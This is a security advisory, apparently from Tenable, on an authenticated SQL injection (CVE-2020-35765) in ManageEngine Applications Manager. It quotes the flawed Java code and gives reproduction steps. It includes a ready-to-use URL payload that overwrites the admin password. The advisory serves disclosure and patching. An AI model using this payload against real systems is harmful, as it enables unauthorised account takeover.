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ManageEngine Applications Manager Authenticated SQLi

High

Synopsis

Tenable Research discovered an authenticated SQL injection vulnerability in ManageEngine Applications Manager.

A flaw exists in the doFilter method in the com.adventnet.appmanager.filter.UriCollector Java class. A low-privileged user can inject SQL statements via the resourceid parameter in an HTTP request sent to URL /showresource.do while using a mobile User-Agent (i.e., User-Agent:blackberry HTTP header):

if (isMobile.equalsIgnoreCase("true")) {
        ...<snip>...
        if (str1.startsWith("/showapplication.do") && queryString.contains("method=showApplication")) {
          hresp.sendRedirect(hresp.encodeRedirectURL("/mobile/DetailsView.do?method=showMGDetails&groupId=" + req.getParameter("haid")));
        } 
...<snip>... } else if (queryString.contains("method=showResourceForResourceID")) { ManagedApplication mo = new ManagedApplication(); String qryToChkHAI = "Select * from AM_ManagedObject where TYPE='HAI' and RESOURCEID=" + req.getParameter("resourceid");

The attacker can perform the following actions to achieve SQLi:

- Using the Chrome browser, fetch the Applications Manager login page at https://<AppMgrHost>:8443/index.do
- Change the user agent of the Chrome browser to Android with steps: Customize and control Google Chrome -> More tools -> Developer tools -> Customize and control DevTools -> More tools -> Network conditions -> User agent -> uncheck Select automatically -> Android (4.0.2) browser  
- Fetch the login page at https://<AppMgrHost>:8443/index.do
- The login page should be in mobile view
- Login as a normal, non-administrator user
- Type in the following URL in the address bar:
  https://<AppMgrHost>:8443/showresource.do?method=showResourceForResourceID&resourceid=99999<sqli>
- For example, to change the admin password to $attacker$, type: 
https://<AppMgrHost>:8443/showresource.do?method=showResourceForResourceID&resourceid=99999%3bUPDATE%20AM_UserPasswordTable%20SET%20password %3d%24%241de45bbd0d85df3028bbcc4e1bb8d59a%24%24%20WHERE%20username%3d%24%24admin%24%24%3b%20--

Solution

Upgrade to ManageEngine Applications Manager build 15000 or later.

Disclosure Timeline

12/11/2020 - Vulnerability discovered
12/17/2020 - Report sent to ManageEngine via email
12/18/2020 - ManageEngine requests report via ZOHO bugbounty webform
12/18/2020 - Tenable resubmitted report via web form
12/21/2020 - ZOHO acknowledges, says fix is ready and patches will release soon
01/13/2021 - fix is released, Tenable is not informed
02/04/2021 - Tenable notices released fix, releases advisory

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2020-35765
Tenable Advisory ID: TRA-2021-02
CVSSv2 Base / Temporal Score:
9.0
CVSSv2 Vector:
AV:N/AC:L/Au:S/C:C/I:C/A:C
CVSSv3 Base / Temporal Score:
8.8
CVSSv3 Vector:
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected Products:
ManageEngine Applications Manager <= build 14930
Risk Factor:
High

Advisory Timeline

February 4th, 2021 - Initial release.

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